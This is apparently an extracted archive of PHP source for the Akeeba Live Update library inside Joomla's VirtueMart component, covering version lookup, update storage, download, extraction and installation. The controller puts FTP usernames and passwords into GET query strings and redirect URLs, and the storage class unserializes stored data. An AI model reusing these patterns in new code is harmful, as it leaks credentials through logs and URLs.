"$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } } else { // Joomla! 1.6 $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a plugin by reading its XML file * @param string $extensionName The name of the plugin, e.g. plg_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getPluginData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $base = JPATH_PLUGINS; // Get a list of directories $stack = JFolder::folders($base,'.',true,true); foreach($stack as $path) { $filename = "$path/$xmlName"; if(JFile::exists($filename)) break; $filename = "$path/$extensionName.xml"; if(JFile::exists($filename)) break; $filename = "$path/$altExtensionName.xml"; if(JFile::exists($filename)) break; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a template by reading its XML file * @param string $extensionName The name of the template, e.g. tpl_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml or templateDetails.xml */ private function getTemplateData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); // First look for administrator templates $path = JPATH_THEMES.'/'.$altExtensionName; if(!JFolder::exists($path)) { // Then look for front-end templates $path = JPATH_SITE.'/templates/'.$altExtensionName; if(!JFolder::exists($path)) return array('version' => '', 'date' => ''); } $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/templateDetails.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * This method parses the manifest information of package, library and file * extensions. All of those extensions do not store their manifests in the * extension's directory, but in administrator/manifests. Kudos to @mbabker * for sharing this method! * * @param string $extensionName * @param string $xmlName * @return type */ private function getPackageData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_ADMINISTRATOR.'/manifests/packages'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'extension') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Scans a directory for XML manifest files. The first XML file to be a * manifest wins. * * @var $path string The path to look into * * @return string|bool The full path to a manifest file or false if not found */ private function searchForManifest($path) { jimport('joomla.filesystem.folder'); $files = JFolder::files($path, '\.xml$', false, true); if(!empty($files)) foreach($files as $filename) { $xml = JFactory::getXMLParser('simple'); $result = $xml->loadFile($filename); if(!$result) continue; if(($xml->document->name() != 'install') && ($xml->document->name() != 'extension') && ($xml->document->name() != 'mosinstall')) continue; unset($xml); return $filename; } return false; } }PKs>\.gY3com_virtuemart/liveupdate/classes/tmpl/overview.phpnuW+A */ defined('_JEXEC') or die(); ?>
      updateInfo->supported): ?>

      escape($this->updateInfo->extInfo->updateurl) ?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->stuck):?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->hasUpdates ? 'hasupdates' : 'noupdates'; $auth = $this->config->getAuthorization(); $auth = empty($auth) ? '' : '?'.$auth; ?> needsAuth): ?>

      updateInfo->extInfo->version ?>
      updateInfo->version ?>
      updateInfo->date ?>

      updateInfo->hasUpdates):?> needsAuth ? 'disabled="disabled"' : ''?>

      Powered by Akeeba Live Update

      PKs>\)0com_virtuemart/liveupdate/classes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\1com_virtuemart/liveupdate/classes/tmpl/index.htmlnuW+APKs>\.2com_virtuemart/liveupdate/classes/tmpl/install.phpnuW+A */ defined( '_JEXEC' ) or die(); $state = &$this->get('State'); $message1 = $state->get('message'); $message2 = $state->get('extmessage'); ?>

      Powered by Akeeba Live Update

      PKs>\5FYY6com_virtuemart/liveupdate/classes/tmpl/startupdate.phpnuW+A */ defined('_JEXEC') or die(); ?>

      Powered by Akeeba Live Update

      PKs>\)3com_virtuemart/liveupdate/classes/storage/.htaccessnuW+A Order allow,deny Deny from all PKs>\4com_virtuemart/liveupdate/classes/storage/index.htmlnuW+APKs>\? 7com_virtuemart/liveupdate/classes/storage/component.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update Component Storage Class * Allows to store the update data to a component's parameters. This is the most reliable method. * Its configuration options are: * component string The name of the component which will store our data. If not specified the extension name will be used. * key string The name of the component parameter where the serialized data will be stored. If not specified "liveupdate" will be used. */ class LiveUpdateStorageComponent extends LiveUpdateStorage { private static $component = null; private static $key = null; public function load($config) { if(!array_key_exists('component', $config)) { self::$component = $config['extensionName']; } else { self::$component = $config['component']; } if(!array_key_exists('key', $config)) { self::$key = 'liveupdate'; } else { self::$key = $config['key']; } jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); if(!($component->params instanceof JRegistry)) { $params = new JParameter($component->params); } else { $params = $component->params; } $data = $params->getValue(self::$key, ''); jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); self::$registry->loadINI($data); } public function save() { $data = self::$registry->toString('INI'); $db =JFactory::getDBO(); // An interesting discovery: if your component is manually updating its // component parameters before Live Update is called, then calling Live // Update will reset the modified component parameters because // JComponentHelper::getComponent() returns the old, cached version of // them. So, we have to forget the following code and shoot ourselves in // the feet. Dammit!!! /* jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); $params = new JParameter($component->params); $params->setValue(self::$key, $data); */ if( version_compare(JVERSION,'1.6.0','ge') ) { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__extensions'). ' WHERE '.$db->nameQuote('type').' = '.$db->Quote('component').' AND '. $db->nameQuote('element').' = '.$db->Quote(self::$component); $db->setQuery($sql); } else { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__components'). ' WHERE '.$db->nameQuote('option').' = '.$db->Quote(self::$component). " AND `parent` = 0 AND `menuid` = 0"; $db->setQuery($sql); } $rawparams = $db->loadResult(); $params = new JParameter($rawparams); $params->setValue(self::$key, $data); if( version_compare(JVERSION,'1.6.0','ge') ) { // Joomla! 1.6 $data = $params->toString('JSON'); $sql = 'UPDATE `#__extensions` SET `params` = '.$db->Quote($data).' WHERE '. "`element` = ".$db->Quote(self::$component)." AND `type` = 'component'"; } else { // Joomla! 1.5 $data = $params->toString('INI'); $sql = 'UPDATE `#__components` SET `params` = '.$db->Quote($data).' WHERE '. "`option` = ".$db->Quote(self::$component)." AND `parent` = 0 AND `menuid` = 0"; } $db->setQuery($sql); $db->query(); } } PKs>\+dLL2com_virtuemart/liveupdate/classes/storage/file.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update File Storage Class * Allows to store the update data to files on disk. Its configuration options are: * path string The absolute path to the directory where the update data will be stored as INI files * */ class LiveUpdateStorageFile extends LiveUpdateStorage { private static $filename = null; public function load($config) { $path = $config['path']; $extname = $config['extensionName']; $filename = "$path/$extname.updates.ini"; self::$filename = $filename; jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); jimport('joomla.filesystem.file'); if(JFile::exists(self::$filename)) { self::$registry->loadFile(self::$filename, 'INI'); } } public function save() { jimport('joomla.filesystem.file'); $data = self::$registry->toString('INI'); JFile::write(self::$filename, $data); } } PKs>\ǘ[775com_virtuemart/liveupdate/classes/storage/storage.phpnuW+A */ defined('_JEXEC') or die(); /** * Abstract class for the update parameters storage * @author nicholas * */ class LiveUpdateStorage { /** * The update data registry * @var JRegistry */ public static $registry = null; /** * * @param string $type * @param array $config * @return LiveUpdateStorage */ public static function getInstance($type, $config) { static $instances = array(); $sig = md5($type, serialize($config)); if(!array_key_exists($sig, $instances)) { require_once dirname(__FILE__).'/'.strtolower($type).'.php'; $className = 'LiveUpdateStorage'.ucfirst($type); $object = new $className($config); $object->load($config); $newRegistry = clone(self::$registry); $object->setRegistry($newRegistry); $instances[$sig] = $object; } return $instances[$sig]; } public function &getRegistry() { return self::$registry; } public function setRegistry($registry) { self::$registry = $registry; } public final function set($key, $value) { if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_encode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = base64_encode(serialize($value)); } else { $value = serialize($value); } } self::$registry->setValue("update.$key", $value); } public final function get($key, $default) { $value = self::$registry->getValue("update.$key", $default); if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_decode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = unserialize(base64_decode($value)); } else { $value = unserialize($value); } } return $value; } public function save() {} public function load($config) {} }PKs>\8\/com_virtuemart/liveupdate/classes/inihelper.phpnuW+A */ defined('_JEXEC') or die(); /** * A smart INI file parser with reproducible behaviour among different PHP versions */ class LiveUpdateINIHelper { /** * Parse an INI file and return an associative array. Since PHP versions before * 5.1 are bitches with regards to INI parsing, I use a PHP-only solution to * overcome this obstacle. * @param string $file The file to process * @param bool $process_sections True to also process INI sections * @return array An associative array of sections, keys and values */ public static function parse_ini_file( $file, $process_sections, $rawdata = false ) { if($rawdata) { return self::parse_ini_file_php($file, $process_sections, $rawdata); } else { if( version_compare(PHP_VERSION, '5.1.0', '>=') && (!$rawdata) ) { if( function_exists('parse_ini_file') ) { return parse_ini_file($file, $process_sections); } else { return self::parse_ini_file_php($file, $process_sections); } } else { return self::parse_ini_file_php($file, $process_sections, $rawdata); } } } /** * A PHP based INI file parser. * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on * the parse_ini_file page on http://gr.php.net/parse_ini_file * @param string $file Filename to process * @param bool $process_sections True to also process INI sections * @param bool $rawdata If true, the $file contains raw INI data, not a filename * @return array An associative array of sections, keys and values */ static function parse_ini_file_php($file, $process_sections = false, $rawdata = false) { $process_sections = ($process_sections !== true) ? false : true; if(!$rawdata) { $ini = file($file); } else { $file = str_replace("\r","",$file); $ini = explode("\n", $file); } if (count($ini) == 0) {return array();} $sections = array(); $values = array(); $result = array(); $globals = array(); $i = 0; foreach ($ini as $line) { $line = trim($line); $line = str_replace("\t", " ", $line); // Comments if (!preg_match('/^[a-zA-Z0-9[]/', $line)) {continue;} // Sections if ($line{0} == '[') { $tmp = explode(']', $line); $sections[] = trim(substr($tmp[0], 1)); $i++; continue; } // Key-value pair list($key, $value) = explode('=', $line, 2); $key = trim($key); $value = trim($value); if (strstr($value, ";")) { $tmp = explode(';', $value); if (count($tmp) == 2) { if ((($value{0} != '"') && ($value{0} != "'")) || preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) || preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value) ){ $value = $tmp[0]; } } else { if ($value{0} == '"') { $value = preg_replace('/^"(.*)".*/', '$1', $value); } elseif ($value{0} == "'") { $value = preg_replace("/^'(.*)'.*/", '$1', $value); } else { $value = $tmp[0]; } } } $value = trim($value); $value = trim($value, "'\""); if ($i == 0) { if (substr($line, -1, 2) == '[]') { $globals[$key][] = $value; } else { $globals[$key] = $value; } } else { if (substr($line, -1, 2) == '[]') { $values[$i-1][$key][] = $value; } else { $values[$i-1][$key] = $value; } } } for($j = 0; $j < $i; $j++) { if ($process_sections === true) { if( isset($sections[$j]) && isset($values[$j]) ) $result[$sections[$j]] = $values[$j]; } else { if( isset($values[$j]) ) $result[] = $values[$j]; } } return $result + $globals; } }PKs>\gE0com_virtuemart/liveupdate/classes/controller.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.controller'); /** * The Live Update MVC controller */ class LiveUpdateController extends JController { private $jversion = '15'; /** * Object contructor * @param array $config * * @return LiveUpdateController */ public function __construct($config = array()) { parent::__construct(); // Do we have Joomla! 1.6? if( version_compare( JVERSION, '1.6.0', 'ge' ) ) { $this->jversion = '16'; } $basePath = dirname(__FILE__); if($this->jversion == '15') { $this->_basePath = $basePath; } else { $this->basePath = $basePath; } $this->registerDefaultTask('overview'); } /** * Runs the overview page task */ public function overview() { $this->display(); } /** * Starts the update procedure. If the FTP credentials are required, it asks for them. */ public function startupdate() { $ftp = $this->setCredentialsFromRequest('ftp'); if($ftp === true) { // The user needs to supply the FTP credentials $this->display(); } else { // No FTP credentials required; proceed with the download $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); $this->redirect(); } } /** * Download the update package */ public function download() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->download(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_DOWNLOAD_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Download successful. Let's extract the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=extract'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } $this->setRedirect($url); } $this->redirect(); } public function extract() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->extract(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_EXTRACT_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Extract successful. Let's install the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=install'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } // Do we have SRP installed yet? $app = JFactory::getApplication(); $jResponse = $app->triggerEvent('onSRPEnabled'); $status = false; if(!empty($jResponse)) { $status = false; foreach($jResponse as $response) { $status = $status || $response; } } // SRP enabled, use it if($status) { $return = $url; $url = $model->getSRPURL($return); if(!$url) { $url = $return; } } $this->setRedirect($url); } $this->redirect(); } public function install() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->install(); if(!$result) { // Installation failed $model->cleanup(); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview'); $this->redirect(); } else { // Installation successful. Show the installation message. if(version_compare(JVERSION,'1.6.0','ge')) { $cache = JFactory::getCache('mod_menu'); $cache->clean(); } $this->display(); } } public function cleanup() { // Perform the cleanup $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $model->cleanup(); // Force reload update information $dummy = LiveUpdate::getUpdateInformation(true); die('OK'); } /** * Displays the current view * @param bool $cachable Ignored! */ public final function display($cachable = false) { $viewLayout = JRequest::getCmd( 'layout', 'default' ); $view = $this->getThisView(); // Get/Create the model $model = $this->getThisModel(); $view->setModel($model, true); // Assign the FTP credentials from the request, or return TRUE if they are required jimport('joomla.client.helper'); $ftp = $this->setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Set the layout $view->setLayout($viewLayout); // Display the view $view->display(); } public final function getThisView() { static $view = null; if(is_null($view)) { $basePath = ($this->jversion == '15') ? $this->_basePath : $this->basePath; $tPath = dirname(__FILE__).'/tmpl'; require_once('view.php'); $view = new LiveUpdateView(array('base_path'=>$basePath, 'template_path'=>$tPath)); } return $view; } public final function getThisModel() { static $model = null; if(is_null($model)) { require_once('model.php'); $model = new LiveUpdateModel(); $task = ($this->jversion == '15') ? $this->_task : $this->task; $model->setState( 'task', $task ); $app = JFactory::getApplication(); $menu = $app->getMenu(); if (is_object( $menu )) { if ($item = $menu->getActive()) { $params =& $menu->getParams($item->id); // Set Default State Data $model->setState( 'parameters.menu', $params ); } } } return $model; } private function setCredentialsFromRequest($client) { // Determine wether FTP credentials have been passed along with the current request jimport('joomla.client.helper'); $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if ($user != '' && $pass != '') { // Add credentials to the session if (JClientHelper::setCredentials($client, $user, $pass)) { $return = false; } else { $return =& JError::raiseWarning('SOME_ERROR_CODE', 'JClientHelper::setCredentialsFromRequest failed'); } } else { // Just determine if the FTP input fields need to be shown $return = !JClientHelper::hasCredentials('ftp'); } return $return; } }PKs>\_1_ *com_virtuemart/liveupdate/classes/view.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.view'); /** * The Live Update MVC view */ class LiveUpdateView extends JView { public function display($tpl = null) { // Load the CSS $config = LiveUpdateConfig::getInstance(); $this->assign('config', $config); if(!$config->addMedia()) { // No custom CSS overrides were set; include our own $document = JFactory::getDocument(); $url = JURI::base().'/components/'.JRequest::getCmd('option','').'/liveupdate/assets/liveupdate.css'; $document->addStyleSheet($url, 'text/css'); } $requeryURL = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&force=1'; $this->assign('requeryURL', $requeryURL); $extInfo = (object)$config->getExtensionInformation(); JToolBarHelper::title($extInfo->title.' – '.JText::_('LIVEUPDATE_TASK_OVERVIEW'),'liveupdate'); if(version_compare(JVERSION,'1.6.0','ge')) { $msg = 'JTOOLBAR_BACK'; } else { $msg = 'Back'; } JToolBarHelper::back($msg, 'index.php?option='.JRequest::getCmd('option','')); switch(JRequest::getCmd('task','default')) { case 'startupdate': $this->setLayout('startupdate'); $this->assign('url','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); break; case 'install': $this->setLayout('install'); // Get data from the model $state = &$this->get('State'); // Are there messages to display ? $showMessage = false; if ( is_object($state) ) { $message1 = $state->get('message'); $message2 = $state->get('extension.message'); $showMessage = ( $message1 || $message2 ); } $this->assign('showMessage', $showMessage); $this->assignRef('state', $state); break; case 'overview': default: $this->setLayout('overview'); $force = JRequest::getInt('force',0); $this->assign('updateInfo', LiveUpdate::getUpdateInformation($force)); $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate'); $needsAuth = !($config->getAuthorization()) && ($config->requiresAuthorization()); $this->assign('needsAuth', $needsAuth); break; } parent::display($tpl); } }PKs>\=ee+com_virtuemart/liveupdate/classes/model.phpnuW+A */ defined('_JEXEC') or die(); if(!class_exists('JModel')) require JPATH_VM_LIBRARIES.DS.'joomla'.DS.'application'.DS.'component'.DS.'model.php'; /** * The Live Update MVC model */ class LiveUpdateModel extends JModel { public function download() { // Get the path to Joomla!'s temporary directory $jreg =JFactory::getConfig(); $tmpdir = $jreg->getValue('config.tmp_path'); jimport('joomla.filesystem.folder'); // Make sure the user doesn't use the system-wide tmp directory. You know, the one that's // being erased periodically and will cause a real mess while installing extensions (Grrr!) if(realpath($tmpdir) == '/tmp') { // Someone inform the user that what he's doing is insecure and stupid, please. In the // meantime, I will fix what is broken. $tmpdir = JPATH_SITE.DS.'tmp'; } // Make sure that folder exists (users do stupid things too often; you'd be surprised) elseif(!JFolder::exists($tmpdir)) { // Darn it, user! WTF where you thinking? OK, let's use a directory I know it's there... $tmpdir = JPATH_SITE.DS.'tmp'; } // Oki. Let's get the URL of the package $updateInfo = LiveUpdate::getUpdateInformation(); $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $url = $updateInfo->downloadURL; // Sniff the package type. If sniffing is impossible, I'll assume a ZIP package $basename = basename($url); if(strstr($basename,'?')) { $basename = substr($basename, strstr($basename,'?')+1); } if(substr($basename,-4) == '.zip') { $type = 'zip'; } elseif(substr($basename,-4) == '.tar') { $type = 'tar'; } elseif(substr($basename,-4) == '.tgz') { $type = 'tar.gz'; } elseif(substr($basename,-7) == '.tar.gz') { $type = 'tar.gz'; } else { $type = 'zip'; } // Cache the path to the package file and the temp installation directory in the session $target = $tmpdir.DS.$updateInfo->extInfo->name.'.update.'.$type; $tempdir = $tmpdir.DS.$updateInfo->extInfo->name.'_update'; $session = JFactory::getSession(); $session->set('target', $target, 'liveupdate'); $session->set('tempdir', $tempdir, 'liveupdate'); // Let's download! require_once dirname(__FILE__).'/download.php'; return LiveUpdateDownloadHelper::download($url, $target); } public function extract() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.filesystem.archive'); return JArchive::extract( $target, $tempdir); } public function install() { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); $installer =& JInstaller::getInstance(); $packageType = JInstallerHelper::detectType($tempdir); if(!$packageType) { $msg = JText::_('LIVEUPDATE_INVALID_PACKAGE_TYPE'); $result = false; } elseif (!$installer->install($tempdir)) { // There was an error installing the package $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Error')); $result = false; } else { // Package installed sucessfully $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Success')); $result = true; } $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('result', $result); $this->setState('packageType', $packageType); if($packageType) { $this->setState('name', $installer->get('name')); $this->setState('message', $installer->message); if(version_compare(JVERSION,'1.6.0','ge')) { $this->setState('extmessage', $installer->get('extension_message')); } else { $this->setState('extmessage', $installer->get('extension.message')); } } return $result; } public function cleanup() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.helper'); JInstallerHelper::cleanupInstall($target, $tempdir); $session->clear('target','liveupdate'); $session->clear('tempdir','liveupdate'); } public function getSRPURL($return = '') { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); jimport('joomla.filesystem.file'); $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; if(!JFile::exists($instModelFile)) return false; require_once JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; $model = JModel::getInstance('Installer', 'AkeebaModel'); $packageType = JInstallerHelper::detectType($tempdir); $name = $model->getExtensionName($tempdir); $url = 'index.php?option=com_akeeba&view=backup&tag=restorepoint&type='.$packageType.'&name='.urlencode($name['name']); switch($type) { case 'module': case 'template': $url .= '&group='.$name['client']; break; case 'plugin': $url .= '&group='.$name['group']; break; } if(!empty($return)) $url .= '&returnurl='.urlencode($return); return $url; } }PKs>\w8lff4com_virtuemart/liveupdate/classes/abstractconfig.phpnuW+A */ defined('_JEXEC') or die(); /** * This is the base class inherited by the config.php file in LiveUpdate's root. * You may override it non-final members to customise its behaviour. * @author Nicholas K. Dionysopoulos * */ abstract class LiveUpdateAbstractConfig extends JObject { /** @var string The extension name, e.g. com_foobar, plg_foobar, mod_foobar, tpl_foobar etc */ protected $_extensionName = 'com_foobar'; /** @var string The human-readable name of your extension */ protected $_extensionTitle = 'Foobar Component for Joomla!'; /** * The filename of the XML manifest of your extension. Leave blank to use extensionname.xml. For example, * if the extension is com_foobar, it will look for com_foobar.xml and foobar.xml in the component's * directory. * @var string * */ protected $_xmlFilename = ''; /** @var string The information storage adapter to use. Can be 'file' or 'component' */ protected $_storageAdapter = 'file'; /** @var array The configuration options for the storage adapter used */ protected $_storageConfig = array('path' => JPATH_CACHE); /** * How to determine if a new version is available. 'different' = if the version number is different, * the remote version is newer, 'vcompare' = use version compare between the two versions, 'newest' = * compare the release dates to find the newest. I suggest using 'different' on most cases. * @var string */ protected $_versionStrategy = 'different'; /** @var The current version of your extension. Populated automatically from the XML manifest. */ protected $_currentVersion = ''; /** @var The current release date of your extension. Populated automatically from the XML manifest. */ protected $_currentReleaseDate = ''; /** @var string The URL to the INI update stream of this extension */ protected $_updateURL = ''; /** @var bool Does the download URL require authorization to download the package? */ protected $_requiresAuthorization = false; /** @var string The username to authorize a download on your site */ protected $_username = ''; /** @var string The password to authorize a download on your site */ protected $_password = ''; /** @var string The Download ID to authorize a download on your site; use it instead of the username/password pair */ protected $_downloadID = ''; /** @var string The path to a local copy of cacert.pem, required if you plan on using HTTPS URLs to fetch live udpate information or download files from */ protected $_cacerts = null; /** @var string The minimum stability level to report as available update. One of alpha, beta, rc and stable. */ protected $_minStability = 'alpha'; /** * Singleton implementation * @return LiveUpdateConfig An instance of the Live Update configuration class */ public static function &getInstance() { static $instance = null; if(!is_object($instance)) { $instance = new LiveUpdateConfig(); } return $instance; } /** * Public constructor. It populates all extension-specific fields. Override to your liking if necessary. */ public function __construct() { parent::__construct(); $this->populateExtensionInfo(); $this->populateAuthorization(); } /** * Returns the URL to the update INI stream. By default it returns the value to * the protected $_updateURL property of the class. Override with your implementation * if you want to modify its logic. */ public function getUpdateURL() { return $this->_updateURL; } /** * Override this ethod to load customized CSS and media files instead of the stock * CSS and media provided by Live Update. If you override this class it MUST return * true, otherwise LiveUpdate's CSS will be loaded after yours and will override your * settings. * * @return bool Return true to stop Live Update from loading its own CSS files. */ public function addMedia() { return false; } /** * Gets the authorization string to append to the download URL. It returns either the * download ID or username/password pair. Please override the class constructor, not * this method, if you want to fetch these values. */ public final function getAuthorization() { if(!empty($this->_downloadID)) { return "dlid=".urlencode($this->_downloadID); } if(!empty($this->_username) && !empty($this->_password)) { return "username=".urlencode($this->_username)."&password=".urlencode($this->_password); } return ""; } public final function requiresAuthorization() { return $this->_requiresAuthorization; } /** * Returns all the information we have about the extension and its update preferences * @return array The extension information */ public final function getExtensionInformation() { return array( 'name' => $this->_extensionName, 'title' => $this->_extensionTitle, 'version' => $this->_currentVersion, 'date' => $this->_currentReleaseDate, 'updateurl' => $this->_updateURL, 'requireauth' => $this->_requiresAuthorization ); } /** * Returns the information regarding the storage adapter * @return array */ public final function getStorageAdapterPreferences() { $config = $this->_storageConfig; $config['extensionName'] = $this->_extensionName; return array( 'adapter' => $this->_storageAdapter, 'config' => $config ); } public final function getVersionStrategy() { return $this->_versionStrategy; } /** * Get the current version from the XML manifest of the extension and * populate the class' properties. */ private function populateExtensionInfo() { require_once dirname(__FILE__).'/xmlslurp.php'; $xmlslurp = new LiveUpdateXMLSlurp(); $data = $xmlslurp->getInfo($this->_extensionName, $this->_xmlFilename); if(empty($this->_currentVersion)) $this->_currentVersion = $data['version']; if(empty($this->_currentReleaseDate)) $this->_currentReleaseDate = $data['date']; } /** * Fetch username/password and Download ID from the component's configuration. */ private function populateAuthorization() { if(!$this->_requiresAuthorization) return; if(substr($this->_extensionName,0,3) != 'com') return; jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent($this->_extensionName); $params = new JParameter($component->params); $this->_username = $params->getValue('username',''); $this->_password = $params->getValue('password',''); $this->_downloadID = $params->getValue('downloadid',''); } public function applyCACert(&$ch) { if(!empty($this->_cacerts)) { if(file_exists($this->_cacerts)) { @curl_setopt($ch, CURLOPT_CAINFO, $this->_cacerts); } } } public function getMinimumStability() { return $this->_minStability; } }PKs>\1k+϶!!.com_virtuemart/liveupdate/classes/download.phpnuW+A */ defined('_JEXEC') or die(); /** * Allows downloading packages over the web to your server */ class LiveUpdateDownloadHelper { /** * Downloads from a URL and saves the result as a local file * @param $url * @param $target 